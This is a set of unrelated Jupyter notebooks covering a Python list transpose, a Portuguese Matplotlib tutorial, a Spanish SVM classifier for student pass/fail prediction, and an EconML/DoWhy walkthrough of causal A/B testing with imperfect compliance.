[2, 4, 6, 8],
[3, 6, 9, 12],
[4, 8, 12, 16]
]
print(matrix[0])
print(matrix[1])
print(matrix[2])
#transpose of matrix withour list comprehension
'''
M(t) = [2, 3, 4]
[4, 6, 8]
[6, 9, 12]
[8, 12, 16]
'''
transposed = []
for i in range(4): #going to each column
lst = []
for row in matrix:
lst.append(row[i])
transposed.append(lst)
'''
print(transposed[0])
print(transposed[1])
print(transposed[2])
print(transposed[3])
'''
print(transposed)
# -
transposed = [[row[i] for row in matrix] for i in range(4)] #decreases readability but concise
print(transposed)
| LIST.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# name: python3
# ---
# + [markdown] id="view-in-github" colab_type="text"
# <a href="https://colab.research.google.com/github/rodrigowe1988/Data-Science-na-Pratica/blob/main/Conhecendo_o_Matplotlib.ipynb" target="_parent"><img src="https://colab.research.google.com/assets/colab-badge.svg" alt="Open In Colab"/></a>
# + id="S2Ld3HqkG1wB"
# importar pacotes
import numpy as np
import matplotlib.pyplot as plt
# + [markdown] id="ig_Gdtp35Byb"
# # Conhecendo o Matplotlib
#
# Muitos usam, poucos entendem. Matplotlib é a principal biblioteca para visualização do Python. Construída em cima de *arrays* do `numpy` e concebida para integrar com as principais ferramentes de *Data Science*, Matplotlib foi criada em 2002 pelo <NAME>.
#
# John era um neurobiologista que analisava sinais de eletrocorticografia, juntamente com um time de pesquisadores. Como eles usavam um *software* proprietário e tinham apenas uma licença, o pesquisador criou o Matplotlib para suprir essa necessidade original, insipirando-se na interface scriptada que o MATLAB proporcionava.
#
# Quando eu disse na primeira linha que muitas pessoas usam a biblioteca, mas poucas de fato a entendem, eu quis dizer que elas desconhecem a maneira como a arquitetura do `matplotlib` foi pensada.
# + [markdown] id="Bvi3CCEt7TWW"
# ## Arquitetura do Matplotlib
#
# Basicamente, a arquitetura do `matplotlib` é composta de 3 camadas:
#
# 1. ***Scripting Layer***
# 2. ***Artist Layer***
# 3. ***Backend Layer***
#
# Para entender como o pacote funciona, é preciso entender que a arquitetura do Matplotlib foi feita para permitir aos seus usuários criarem, renderizarem e atualizarem objetos do tipo `Figure`. Essas *Figuras* são exibidas na tela e interagem com eventos como os *inputs* do teclado e mouse. Esse tipo de interação é realizada na camada ***backend***.
#
# O Matplotlib permite que você crie um gráfico composto por múltiplos objetos diferentes. É como se ele não gerasse uma coisa única, mas uma imagem que é composta de vários pedaços isolados, como o eixo-y, eixo-y, título, legendas, entre outras. A capacidade de alterar todos múltiplos objetos é proporcionada pela camada ***artist***. Olhe o código abaixo e veja como estamos lidandos com esses "múltiplos objetos". Plotamos os dados no plano cartesiano, criamos um título e demos *labels* aos eixos x e y.
# + id="33mMAtOWG0mt" colab={"base_uri": "https://localhost:8080/", "height": 295} outputId="92b8a7a9-657d-477d-b6d1-e025bbae1539"
# gerar valores demonstrativos
np.random.seed(42)
x = np.arange(10)
y = np.random.normal(size=10)
# plotar os valores
plt.plot(x, y)
plt.title("Exemplo")
plt.xlabel("Eixo x")
plt.ylabel("Eixo y")
plt.show()
# + [markdown] id="uKO2tUJ1EkfY"
# Para você, usuário, conseguir se comunicar com essas duas camadas, e manipular as `Figures`, existe uma terceira camada, a camada ***scripting***. Ela abstrai em um nível mais alto todo contato com o Matplotlib, e permite que de maneira simples e direta possamos criar nossos *plots*.
#
# <center><img src="https://raw.githubusercontent.com/carlosfab/curso_data_science_na_pratica/master/modulo_03/matplotlib_arquitetura.jpg" width="400px"></center>
#
# Quero pedir a você para [ler este artigo](https://realpython.com/python-matplotlib-guide/) do *blog* ***Real Python***. É um dos melhores aritogs sobre matplotlib que já tive contato, e vai explicar vários conceitos da ferramenta. Você não precisa saber os detalhes da arquitetura do `matplotlib`, mas precisa ter uma ideia geral sobre seu funcionamento. Caso queira se aprofundar mais ainda, recomendo o livro [*Mastering matplotlib*](https://learning.oreilly.com/library/view/mastering-matplotlib/9781783987542/).
# + [markdown] id="OzSYfEZ1GyQF"
# ## Conhecendo mais intimamente o Matplotlib
#
# Se você lembrar das aulas anteriores, plotar um gráfico é muito simples e direto. Algo como `plt.plot(x, y)` vai te dar prontamente um gráfico.
#
# No entanto, essa abstração esconde um segredo importante: a hierarquia de 3 objetos que estão por trás de cada *plot*. Vou usar as imagens do artigo [*Python Plotting With Matplotlib*](https://realpython.com/python-matplotlib-guide/) para facilitar o entendimento desse conceito.
#
# <center><img src="https://raw.githubusercontent.com/carlosfab/curso_data_science_na_pratica/master/modulo_03/fig_map.bc8c7cabd823.png" height="300px"></center>
#
# O objeto mais "exterior" a cada plot é o objeto do tipo `Figure`. Dentro de uma `Figure` existe um objeto do tipo `Axes`. Dentro de cada `Axes` ficam os objetos menores, como legendas, títulos, textos e *tick marks*.
#
# Como disse <NAME> no artigo, a principal confusão das pessoas é não entenderem que um *plot* (ou gráfico) individual está contido dentro de um objeto `Axes`. Uma `Figure` não é o *plot* em si, ela pode conter um ou mais *plots* (e cada *plot* é um `Axes`).
#
# Como eu disse, cada `Axes` é composto de objetos menores que compõe o *plot* propriamente dito. A grande maioria das pessoas (incluindo eu mesmo) conhece apenas or principais, como título, eixos, labels e legenda. No entanto, para você ver a anatomia completa dentro de um `Axes`, pode usar o código abaixo, disponibilizado na [documentação oficial do `matplotlib`](https://matplotlib.org/examples/showcase/anatomy.html).
#
# + id="vjZZzsBcGzfW" cellView="form" colab={"base_uri": "https://localhost:8080/", "height": 429} outputId="6bf5be3c-9443-4803-f284-db469401692c"
#@title
# This figure shows the name of several matplotlib elements composing a figure
import numpy as np
import matplotlib.pyplot as plt
from matplotlib.ticker import AutoMinorLocator, MultipleLocator, FuncFormatter
np.random.seed(19680801)
X = np.linspace(0.5, 3.5, 100)
Y1 = 3+np.cos(X)
Y2 = 1+np.cos(1+X/0.75)/2
Y3 = np.random.uniform(Y1, Y2, len(X))
fig = plt.figure(figsize=(6, 6))
ax = fig.add_subplot(1, 1, 1, aspect=1)
def minor_tick(x, pos):
if not x % 1.0:
return ""
return "%.2f" % x
ax.xaxis.set_major_locator(MultipleLocator(1.000))
ax.xaxis.set_minor_locator(AutoMinorLocator(4))
ax.yaxis.set_major_locator(MultipleLocator(1.000))
ax.yaxis.set_minor_locator(AutoMinorLocator(4))
ax.xaxis.set_minor_formatter(FuncFormatter(minor_tick))
ax.set_xlim(0, 4)
ax.set_ylim(0, 4)
ax.tick_params(which='major', width=1.0)
ax.tick_params(which='major', length=10)
ax.tick_params(which='minor', width=1.0, labelsize=10)
ax.tick_params(which='minor', length=5, labelsize=10, labelcolor='0.25')
ax.grid(linestyle="--", linewidth=0.5, color='.25', zorder=-10)
ax.plot(X, Y1, c=(0.25, 0.25, 1.00), lw=2, label="Blue signal", zorder=10)
ax.plot(X, Y2, c=(1.00, 0.25, 0.25), lw=2, label="Red signal")
ax.plot(X, Y3, linewidth=0,
marker='o', markerfacecolor='w', markeredgecolor='k')
ax.set_title("Anatomy of a figure", fontsize=20, verticalalignment='bottom')
ax.set_xlabel("X axis label")
ax.set_ylabel("Y axis label")
ax.legend()
def circle(x, y, radius=0.15):
from matplotlib.patches import Circle
from matplotlib.patheffects import withStroke
circle = Circle((x, y), radius, clip_on=False, zorder=10, linewidth=1,
edgecolor='black', facecolor=(0, 0, 0, .0125),
path_effects=[withStroke(linewidth=5, foreground='w')])
ax.add_artist(circle)
def text(x, y, text):
ax.text(x, y, text, backgroundcolor="white",
ha='center', va='top', weight='bold', color='blue')
# Minor tick
circle(0.50, -0.10)
text(0.50, -0.32, "Minor tick label")
# Major tick
circle(-0.03, 4.00)
text(0.03, 3.80, "Major tick")
# Minor tick
circle(0.00, 3.50)
text(0.00, 3.30, "Minor tick")
# Major tick label
circle(-0.15, 3.00)
text(-0.15, 2.80, "Major tick label")
# X Label
circle(1.80, -0.27)
text(1.80, -0.45, "X axis label")
# Y Label
circle(-0.27, 1.80)
text(-0.27, 1.6, "Y axis label")
# Title
circle(1.60, 4.13)
text(1.60, 3.93, "Title")
# Blue plot
circle(1.75, 2.80)
text(1.75, 2.60, "Line\n(line plot)")
# Red plot
circle(1.20, 0.60)
text(1.20, 0.40, "Line\n(line plot)")
# Scatter plot
circle(3.20, 1.75)
text(3.20, 1.55, "Markers\n(scatter plot)")
# Grid
circle(3.00, 3.00)
text(3.00, 2.80, "Grid")
# Legend
circle(3.70, 3.80)
text(3.70, 3.60, "Legend")
# Axes
circle(0.5, 0.5)
text(0.5, 0.3, "Axes")
# Figure
circle(-0.3, 0.65)
text(-0.3, 0.45, "Figure")
color = 'blue'
ax.annotate('Spines', xy=(4.0, 0.35), xycoords='data',
xytext=(3.3, 0.5), textcoords='data',
weight='bold', color=color,
arrowprops=dict(arrowstyle='->',
connectionstyle="arc3",
color=color))
ax.annotate('', xy=(3.15, 0.0), xycoords='data',
xytext=(3.45, 0.45), textcoords='data',
weight='bold', color=color,
arrowprops=dict(arrowstyle='->',
connectionstyle="arc3",
color=color))
ax.text(4.0, -0.4, "Made with http://matplotlib.org",
fontsize=10, ha="right", color='.5')
plt.show()
# + [markdown] id="plTKinQkjUsk"
# ## Abordagem Orientada a Objeto
#
# De acordo com a documentação oficial do Matplotlib, a biblioteca plota seus dados em objetos do tipo `Figure` (janelas, Jupyter widgets, entre outros), e esses objetos podem conter um ou mais objetos do tipo `Axes` (uma área onde pontos podem ser especificados em termos de coordenadas x-y, coordenadas polares, x-y-z, entre outras).
#
# Nessa abordagem orientada a objeto, mais customizações e tipos de gráficos são possíveis.
#
# O estilo "orientado a objeto" cria explicitamente dois objetos, `Figure` e `Axes`, e chamada os métodos em cima deles.
#
# A maneira mais simples de criar uma figura com um *axes* é usando o `pyplot.subplots`, ou abreviadamente, `plt.subplots`.
#
# Então, você pode usar o método `Axes.plot` para desenhar dados em cima de algum *axes*.
# + id="Oudbu1wBsz6Z" colab={"base_uri": "https://localhost:8080/", "height": 269} outputId="9fb1f3eb-5e40-44d1-8828-fe262ea03c50"
fig, ax = plt.subplots()
# + [markdown] id="Da5CqZOjCm47"
# O que fizemos acima foi criar uma Figura que irá conter todos os *plots* (`Axes`). Neste caso, como não especificamos nada, foi criado apenas 1 `Figure` e 1 `Axes` (*plot*).
#
# A partir disso, a manipulação e customização passa a ser diretamente na variável `ax`, chamando seus métodos.
# + id="5S-qQSgUDfFp" colab={"base_uri": "https://localhost:8080/", "height": 295} outputId="d4ef5d53-ac22-428c-f24d-b49eb6b3c646"
x = np.arange(0, 100)
# plotar os valores
fig, ax = plt.subplots()
ax.plot(x, x, label="linear")
ax.plot(x, x**2, label="quadrado")
ax.set_title("Abordagem OO")
ax.set_ylabel("Valores em Y")
ax.set_xlabel("Valores em X")
ax.legend()
# fig.show()
fig.show()
# + [markdown] id="wegcxZ4FDqrM"
# Pronto! Temos o mesmo gráfico, porém ganhamos um controle bem maior de manipulação sobre ele. Veja o exemplo abaixo, onde eu crio 2 objetos do tipo `Axes` para plotar 2 gráficos diferentes em 1 única `Figure`.
# + id="i2JC6dRmElhu" colab={"base_uri": "https://localhost:8080/", "height": 225} outputId="d4ef485f-a601-42d9-d979-3e0d02b827b8"
# plotar os 2 gráficos
fig, ax = plt.subplots(nrows=1, ncols=2, figsize=(8,3))
# gráfico 1
ax[0].plot(x, x)
ax[0].set_title("Linear")
ax[0].set_xlabel("x")
ax[0].set_ylabel("y")
# gráfico 2
ax[1].plot(x, x**2)
ax[1].set_title("Quadrado")
ax[1].set_xlabel("x")
ax[1].set_ylabel("y")
fig.tight_layout();
# + [markdown] id="MIkCi-8bEvNJ"
# O que a grande maioria faz é sempre que precisa copiar e colar códigos prontos do Stack Overflow. Não tem nenhum problema com isso, desde que você saiba os conceitos básicos.
#
# Se você pegar para estudar a documentação original, e ver exemplos práticos como o do *blog* que eu sugeri, você se sentirá muito mais confiante e capaz de gerar gráficos visualmente impactantes.
# + [markdown] id="EK6JPtB2TrsY"
# ## Abordagem Interface Pyplot
#
# Se acima nós precisamos criar explicitamente figuras e *axes*, há uma outra abordagem que delega toda a responsabilidade de se criar e gerenciar as mesmas.
#
# Para isso, você vai usar as funções do `pyplot` para plotar. Veja como usar esse *pyplot-style*.
# + id="IHvGo-kih1EA" colab={"base_uri": "https://localhost:8080/", "height": 283} outputId="5d08221d-1a7d-4ef3-d067-6443c8da643c"
x = np.arange(10)
plt.plot(x, x)
# + [markdown] id="aMUVzi2-h2Jx"
# Se eu quiser adicionar um título ao gráfico, posso fazer diretamente, seguindo a mesma abordagem:
# + id="w_jfP-YCiFv9" colab={"base_uri": "https://localhost:8080/", "height": 313} outputId="fa851f14-ff15-4ca1-c3be-d7a86c641589"
plt.plot(x, x)
plt.title("Linear")
plt.xlabel("Eixo x")
plt.ylabel("Eixo y")
# + [markdown] id="ctf9GEfWiOti"
# De maneira similar, se eu quiser ir acrescentando objetos ao `Axes`, eu vou apenas adicionando novas funções sequencialmente:
#
# + id="MyG3BWrki5mW" colab={"base_uri": "https://localhost:8080/", "height": 295} outputId="d73fdea0-19dd-4675-bd21-a5ff90c3319b"
plt.plot(x, x, label="Linear")
plt.plot(x, x**2, label="Quadrado")
plt.title("Abordagem Pyplot")
plt.ylabel("Valores de y")
plt.xlabel("Valores de x")
plt.legend()
plt.show()
# + [markdown] id="muksaQSpi6T3"
# Isso ocorre porque quando eu executo qualquer função de `pyplot`, como `plt.plot()` ou `plt.title()`, ocorre uma das seguintes coisas:
#
# * Implicitamente usam `Figure` e `Axes` atuais (caso já existam)
# * Cria novos objetos `Figure` e `Axes` (caso não exitam ainda)
#
# <NAME> destaca um trecho da documentação oficial do `matplotlib` que diz o seguinte:
#
#
#
# > Com o `pyplot`, funções simples são usadas para adicionar elementos de *plot* (linhas, imagens, textos, entre outras) ao **`Axes` atual, pertencente à `Figure` atual**.
#
# ## **Qual abordagem você deve usar?**
#
# A documentação oficial considera as duas abordagens igualmente poderosas. Você deve se sentir livre para adotar qualquer uma, porém deve buscar não ficar misturando as abordagens.
#
# Sugere ainda a documentação, que o uso do pyplot pode ser restrito aos plot interativos (como o caso do Jupyter notebook) e a abordagem Orientada a Objeto como preferencial para plots não-interativos (funcões e scripts utilizados em um projeto maior, por exemplo).
#
#
#
# + id="65EjYk7xc10n"
| Conhecendo_o_Matplotlib.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
# +
import pandas as pd
import matplotlib.pyplot as plt
from joblib import dump, load
from sklearn.model_selection import GridSearchCV
import numpy as np
from sklearn.svm import SVC
from sklearn.metrics import classification_report, plot_confusion_matrix
from sklearn.model_selection import StratifiedKFold
# -
dataRead = pd.read_csv('aprobados_reprobados.csv')
data = dataRead.drop(['ID','Nota primera oportunidad','Nota segunda oportunidad','intento'],axis=1)
x=data[["Session 2","Session 3","Session 4","Session 5","Session 6"]]
y=data[["aprobar"]]
len(x)
# ## Division del set de entrenamiento y prueba
# +
X=x.index.to_numpy()
Y=y.index.to_numpy()
skf = StratifiedKFold(n_splits=7)
for train_index, test_index in skf.split(x, y):
#print("TRAIN:", train_index, "TEST:", test_index)
X_train, X_test = X[train_index], X[test_index]
y_train, y_test = Y[train_index], Y[test_index]
dataXTrain = x.iloc[X_train].to_numpy()
dataYTrain = y.iloc[y_train].to_numpy()
dataXTest = x.iloc[X_test].to_numpy()
dataYTest = y.iloc[y_test].to_numpy()
#X_train, X_test, y_train, y_test = train_test_split(x, y, test_size = 0.10)
#len(dataXTest)
# -
def getParametros(X_train,Y_train,param_grid):
grid = GridSearchCV(SVC(), param_grid,refit=True,cv=5,n_jobs=-1,verbose=2) # verbose se usa solo para efectos de demostración
grid.fit(X_train, Y_train)
return {"C": grid.best_estimator_.C,"Gamma":grid.best_estimator_.gamma,"kernel:":grid.best_estimator_.kernel}
# ## Tuneando parámetros
param_grid = {
'C': [0.1,1, 5,10,20,50,75,100],
'gamma': [1,0.1,0.01,10,50,100],
'kernel': ['rbf', 'linear','sigmoid'],
}
#getParametros(dataXTrain,dataYTrain,param_grid)
# ## Realizando el entrenamiento
svc=SVC(C=10, gamma=1, kernel='linear', max_iter=-1)
svc.fit(dataXTrain,dataYTrain)
# ## Obteniendo metricas
def getMetricas(x_Test,y_Test,svc):
grid_predictions = svc.predict(x_Test)
disp = plot_confusion_matrix(svc,x_Test,y_Test,display_labels=['Reprueba','Aprueba'],cmap=plt.cm.Blues)
disp.ax_.set_title('Matriz de confusión')
plt.show()
print(classification_report(y_Test,grid_predictions))
getMetricas(dataXTest,dataYTest,svc)
| Data/SVC.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
# + [markdown] slideshow={"slide_type": "slide"}
# <img src="https://www.microsoft.com/en-us/research/uploads/prod/2020/05/Recomendation.png" width="400">
#
# # Recommendation A/B Testing: Experimentation with Imperfect Compliance
#
# An online business would like to test a new feature or offering of their website and learn its effect on downstream revenue. Furthermore, they would like to know which kind of users respond best to the new version. We call the user-specific effect a **heterogeneous treatment effect**.
#
# Ideally, the business would run A/B tests between the old and new versions of the website. However, a direct A/B test might not work because the business cannot force the customers to take the new offering. Measuring the effect in this way will be misleading since not every customer exposed to the new offering will take it.
#
# The business also cannot look directly at existing data as it will be biased: the users who use the latest website features are most likely the ones who are very engaged on the website and hence spend more on the company's products to begin with. Estimating the effect this way would be overly optimistic.
# + [markdown] slideshow={"slide_type": "slide"}
# In this customer scenario walkthrough, we show how tools from the [EconML](https://aka.ms/econml) and [DoWhy](https://github.com/microsoft/dowhy) libraries can still use a direct A/B test and mitigate these shortcomings.
#
# ### Summary
#
# 1. [Background](#Background)
# 2. [Data](#Data)
# 3. [Create Causal Model and Identify Causal Effect with DoWhy](#Create-Causal-Model-and-Identify-Causal-Effect-with-DoWhy)
# 4. [Get Causal Effects with EconML](#Get-Causal-Effects-with-EconML)
# 5. [Test Estimate Robustness with DoWhy](#Test-Estimate-Robustness-with-DoWhy)
# 1. [Add Random Common Cause](#Add-Random-Common-Cause)
# 2. [Add Unobserved Common Cause](#Add-Unobserved-Common-Cause)
# 3. [Replace Treatment with a Random (Placebo) Variable](#Replace-Treatment-with-a-Random-(Placebo)-Variable)
# 4. [Remove a Random Subset of the Data](#Remove-a-Random-Subset-of-the-Data)
# 6. [Understand Treatment Effects with EconML](#Understand-Treatment-Effects-with-EconML)
# 7. [Make Policy Decisions with EconML](#Make-Policy-Decisions-with-EconML)
# 8. [Conclusions](#Conclusions)
# + [markdown] slideshow={"slide_type": "slide"}
# # Background
#
# <img src="https://cdn.pixabay.com/photo/2013/07/13/12/18/boeing-159589_640.png" width="450">
#
# In this scenario, a travel website would like to know whether joining a membership program compels users to spend more time engaging with the website and purchasing more products.
#
# A direct A/B test is infeasible because the website cannot force users to become members. Likewise, the travel company can’t look directly at existing data, comparing members and non-members, because the customers who chose to become members are likely already more engaged than other users.
#
# **Solution:** The company had run an earlier experiment to test the value of a new, faster sign-up process. Instrumental variable (IV) estimators can exploit this experimental nudge towards membership as an instrument that generates random variation in the likelihood of membership. This is known as an **intent-to-treat** setting: the intention is to give a random group of users the "treatment" (access to the easier sign-up process), but not all users will actually take it.
#
# The EconML and DoWhy libraries complement each other in implementing this solution. On one hand, the DoWhy library can help [build a causal model, identify the causal effect](#Create-Causal-Model-and-Identify-Causal-Effect-with-DoWhy) and [test causal assumptions](#Test-Estimate-Robustness-with-DoWhy). On the other hand, EconML's `IntentToTreatDRIV` estimator can [estimate heterogeneous treatment effects](#Get-Causal-Effects-with-EconML) by taking advantage of the fact that not every customer who was offered the easier sign-up became a member to learn the effect of membership rather than the effect of receiving the quick sign-up. Furthermore, EconML provides users tools to [understand causal effects](#Understand-Treatment-Effects-with-EconML) and [make causal policy decisions](#Make-Policy-Decisions-with-EconML).
# + slideshow={"slide_type": "skip"}
# Some imports to get us started
import warnings
warnings.simplefilter('ignore')
# Utilities
import os
import urllib.request
import numpy as np
import pandas as pd
from networkx.drawing.nx_pydot import to_pydot
from IPython.display import Image, display
# Generic ML imports
import lightgbm as lgb
from sklearn.preprocessing import PolynomialFeatures
# DoWhy imports
import dowhy
from dowhy import CausalModel
# EconML imports
from econml.iv.dr import LinearIntentToTreatDRIV
from econml.cate_interpreter import SingleTreeCateInterpreter, \
SingleTreePolicyInterpreter
import matplotlib.pyplot as plt
# %matplotlib inline
# + [markdown] slideshow={"slide_type": "slide"}
# # Data
#
# The data* is comprised of:
# * Features collected in the 28 days prior to the experiment (denoted by the suffix `_pre`)
# * Experiment variables (whether the use was exposed to the easier signup -> the instrument, and whether the user became a member -> the treatment)
# * Variables collected in the 28 days after the experiment (denoted by the suffix `_post`).
#
# Feature Name | Details
# :--- |: ---
# **days_visited_exp_pre** |#days a user visits the attractions pages
# **days_visited_free_pre** | #days a user visits the website through free channels (e.g. domain direct)
# **days_visited_fs_pre** | #days a user visits the flights pages
# **days_visited_hs_pre** | #days a user visits the hotels pages
# **days_visited_rs_pre** | #days a user visits the restaurants pages
# **days_visited_vrs_pre** | #days a user visits the vacation rental pages
# **locale_en_US** | whether the user access the website from the US
# **os_type** | user's operating system (windows, osx, other)
# **revenue_pre** | how much the user spent on the website in the pre-period
# **easier_signup** | whether the user was exposed to the easier signup process
# **became_member** | whether the user became a member
# **days_visited_post** | #days a user visits the website in the 28 days after the experiment
#
#
# **To protect the privacy of the travel company's users, the data used in this scenario is synthetically generated and the feature distributions don't correspond to real distributions. However, the feature names have preserved their names and meaning.*
# + slideshow={"slide_type": "skip"}
# Import the sample AB data
file_url = "https://msalicedatapublic.blob.core.windows.net/datasets/RecommendationAB/ab_sample.csv"
ab_data = pd.read_csv(file_url)
# + slideshow={"slide_type": "slide"}
# Data sample
ab_data.head()
# + slideshow={"slide_type": "fragment"}
# Define estimator inputs
Z = ab_data['easier_signup'] # nudge, or instrument
T = ab_data['became_member'] # intervention, or treatment
Y = ab_data['days_visited_post'] # outcome of interest
X_data = ab_data.drop(columns=['easier_signup', 'became_member', 'days_visited_post']) # features
# + [markdown] slideshow={"slide_type": "slide"}
# The data was generated using the following undelying treatment effect function:
#
# $$
# \text{treatment_effect} = 0.2 + 0.3 \cdot \text{days_visited_free_pre} - 0.2 \cdot \text{days_visited_hs_pre} + \text{os_type_osx}
# $$
#
# The interpretation of this is that users who visited the website before the experiment and/or who use an iPhone tend to benefit from the membership program, whereas users who visited the hotels pages tend to be harmed by membership. **This is the relationship we seek to learn from the data.**
# + slideshow={"slide_type": "skip"}
# Define underlying treatment effect function
TE_fn = lambda X: (0.2 + 0.3 * X['days_visited_free_pre'] - 0.2 * X['days_visited_hs_pre'] + X['os_type_osx']).values
true_TE = TE_fn(X_data)
# Define the true coefficients to compare with
true_coefs = np.zeros(X_data.shape[1])
true_coefs[[1, 3, -2]] = [0.3, -0.2, 1]
# -
# # Create Causal Model and Identify Causal Effect with DoWhy
#
# We define the causal assumptions of the intent-to-treat setting with DoWhy. For example, we can include features we believe are instruments and features we think will influence the heterogeneity of the effect. With these assumptions defined, DoWhy can identify the causal effect for us.
feature_names = X_data.columns.tolist()
# +
# Define nuissance estimators
lgb_T_XZ_params = {
'objective' : 'binary',
'metric' : 'auc',
'learning_rate': 0.1,
'num_leaves' : 30,
'max_depth' : 5
}
lgb_Y_X_params = {
'metric' : 'rmse',
'learning_rate': 0.1,
'num_leaves' : 30,
'max_depth' : 5
}
model_T_XZ = lgb.LGBMClassifier(**lgb_T_XZ_params)
model_Y_X = lgb.LGBMRegressor(**lgb_Y_X_params)
flexible_model_effect = lgb.LGBMRegressor(**lgb_Y_X_params)
# -
# initiate an EconML cate estimator
est = LinearIntentToTreatDRIV(model_T_XZ=model_T_XZ, model_Y_X=model_Y_X,
flexible_model_effect=flexible_model_effect,
featurizer=PolynomialFeatures(degree=1, include_bias=False))
# fit through dowhy
test_customers = X_data.iloc[:1000]
est_dw=est.dowhy.fit(Y, T, Z=Z, X=X_data, outcome_names=["days_visited_post"], treatment_names=["became_member"],
feature_names=feature_names, instrument_names=["easier_signup"], target_units=test_customers,
inference="statsmodels")
# Visualize causal graph
try:
# Try pretty printing the graph. Requires pydot and pygraphviz
display(
Image(to_pydot(est_dw._graph._graph).create_png())
)
except:
# Fall back on default graph view
est_dw.view_model()
identified_estimand = est_dw.identified_estimand_
print(identified_estimand)
# + [markdown] slideshow={"slide_type": "slide"}
# # Get Causal Effects with EconML
#
# To learn a linear projection of the treatment effect, we use the `LinearIntentToTreatDRIV` EconML estimator. For a more flexible treatment effect function, use the `IntentToTreatDRIV` estimator instead.
#
# The model requires to define some nuissance models (i.e. models we don't really care about but that matter for the analysis): the model for how the outcome $Y$ depends on the features $X$ (`model_Y_X`) and the model for how the treatment $T$ depends on the instrument $Z$ and features $X$ (`model_T_XZ`). Since we don't have any priors on these models, we use generic boosted tree estimators to learn them.
# -
lineardml_estimate = est_dw.estimate_
print(lineardml_estimate)
true_customer_TE = TE_fn(test_customers)
print("True ATE on test data: ", true_customer_TE.mean())
# Compare learned coefficients with true model coefficients\
econml_coefs = est_dw.coef_.flatten()
coef_indices = np.arange(econml_coefs.shape[0])
# Calculate error bars
coef_error = np.asarray(est_dw.coef__interval()).reshape(2, coef_indices.shape[0]) # 90% confidence interval for coefficients
coef_error[0, :] = econml_coefs - coef_error[0, :]
coef_error[1, :] = coef_error[1, :] - econml_coefs
plt.errorbar(coef_indices, econml_coefs, coef_error, fmt="o", label="Learned coefficients\nand 90% confidence interval")
plt.scatter(coef_indices, true_coefs, color='C1', label="True coefficients")
plt.xticks(coef_indices, X_data.columns, rotation='vertical')
plt.legend()
plt.show()
# + [markdown] slideshow={"slide_type": "slide"}
# We notice that the coefficients estimates are pretty close to the true coefficients for the linear treatment effect function.
#
# We can also use the `model.summary` function to get point estimates, p-values and confidence intervals. From the table below, we notice that only the **days_visited_free_pre**, **days_visited_hs_pre** and **os_type_osx** features are statistically significant (the confidence interval doesn't contain $0$, p-value < 0.05) for the treatment effect.
# + slideshow={"slide_type": "fragment"}
est_dw.summary(feature_names=X_data.columns)
# + slideshow={"slide_type": "skip"}
# How close are the predicted treatment effect to the true treatment effects for 1000 users?
plt.scatter(true_customer_TE, est_dw.effect(test_customers), label="Predicted vs True treatment effect")
plt.xlabel("True treatment effect")
plt.ylabel("Predicted treatment effect")
plt.legend()
plt.show()
# -
# # Test Estimate Robustness with DoWhy
# ### Add Random Common Cause
#
# How robust are our estimates to adding another confounder? We use DoWhy to test this!
res_random = est_dw.refute_estimate(method_name="random_common_cause")
print(res_random)
# ### Add Unobserved Common Cause
#
# How robust are our estimates to unobserved confounders? Since we assume we have a valid instrument, adding an unobserved confounder should not affect the estimates much. We use DoWhy to test this!
res_unobserved = est_dw.refute_estimate(method_name="add_unobserved_common_cause",
confounders_effect_on_treatment="binary_flip", confounders_effect_on_outcome="linear",
effect_strength_on_treatment=0.05, effect_strength_on_outcome=0.5)
print(res_unobserved)
# ### Replace Treatment with a Random (Placebo) Variable
#
# What happens our estimates if we replace the treatment variable with noise? Ideally, the average effect would be $0$. We use DoWhy to investigate!
res_placebo = est_dw.refute_estimate(method_name="placebo_treatment_refuter", placebo_type="permute",
num_simulations=2)
print(res_placebo)
# While the "New effect" is not zero, the p-value is greater than 0.05 which means that we cannot reject the null hypothesis that $0$ is under the average treatment effect distribution. Increasing `num_simulations` should produce a "New effect" closer to $0$.
# ### Remove a Random Subset of the Data
#
# Do we recover similar estimates on subsets of the data? This speaks to the ability of our chosen estimator to generalize well. We use DoWhy to investigate this!
# Removing a random subset of the data
res_subset = est_dw.refute_estimate(method_name="data_subset_refuter", subset_fraction=0.8,
num_simulations=2)
print(res_subset)
# The "New effect" is close to the estimated effect from the original dataset and the p-value is greater than 0.05. Thus, we cannot reject the null hypothesis that the estimated effect is under the average treatment effect distribution.
# + [markdown] slideshow={"slide_type": "slide"}
# # Understand Treatment Effects with EconML
#
# EconML includes interpretability tools to better understand treatment effects. Treatment effects can be complex, but oftentimes we are interested in simple rules that can differentiate between users who respond positively, users who remain neutral and users who respond negatively to the proposed changes.
#
# The EconML `SingleTreeCateInterpreter` provides interperetability by training a single decision tree on the treatment effects outputted by the any of the EconML estimators. In the figure below we can see in dark red users who respond negatively to the membership program and in dark green users who respond positively.
# -
intrp = SingleTreeCateInterpreter(include_model_uncertainty=True, max_depth=2, min_samples_leaf=10)
intrp.interpret(est_dw, test_customers)
plt.figure(figsize=(25, 5))
intrp.plot(feature_names=X_data.columns, fontsize=12)
# + [markdown] slideshow={"slide_type": "slide"}
# # Make Policy Decisions with EconML
#
# Interventions usually have a cost: incetivizing a user to become a member can be costly (e.g by offering a discount). Thus, we would like to know what customers to target to maximize the profit from their increased engagement. This is the **treatment policy**.
#
# The EconML library includes policy interpretability tools such as `SingleTreePolicyInterpreter` that take in a treatment cost and the treatment effects to learn simple rules about which customers to target profitably.
# + slideshow={"slide_type": "fragment"}
intrp = SingleTreePolicyInterpreter(risk_level=0.05, max_depth=2, min_samples_leaf=10)
intrp.interpret(est_dw, test_customers, sample_treatment_costs=0.2)
plt.figure(figsize=(25, 5))
intrp.plot(feature_names=X_data.columns, fontsize=12)
# + [markdown] slideshow={"slide_type": "slide"}
# # Conclusions
#
# In this notebook, we have demonstrated the power of using EconML and DoWhy to:
#
# * Get valid causal insights in seemingly impossible scenarios
# * Test causal assumptions and investigate the robustness of the resulting estimates
# * Intepret individual-level treatment effects
# * Build policies around the learned effects
#
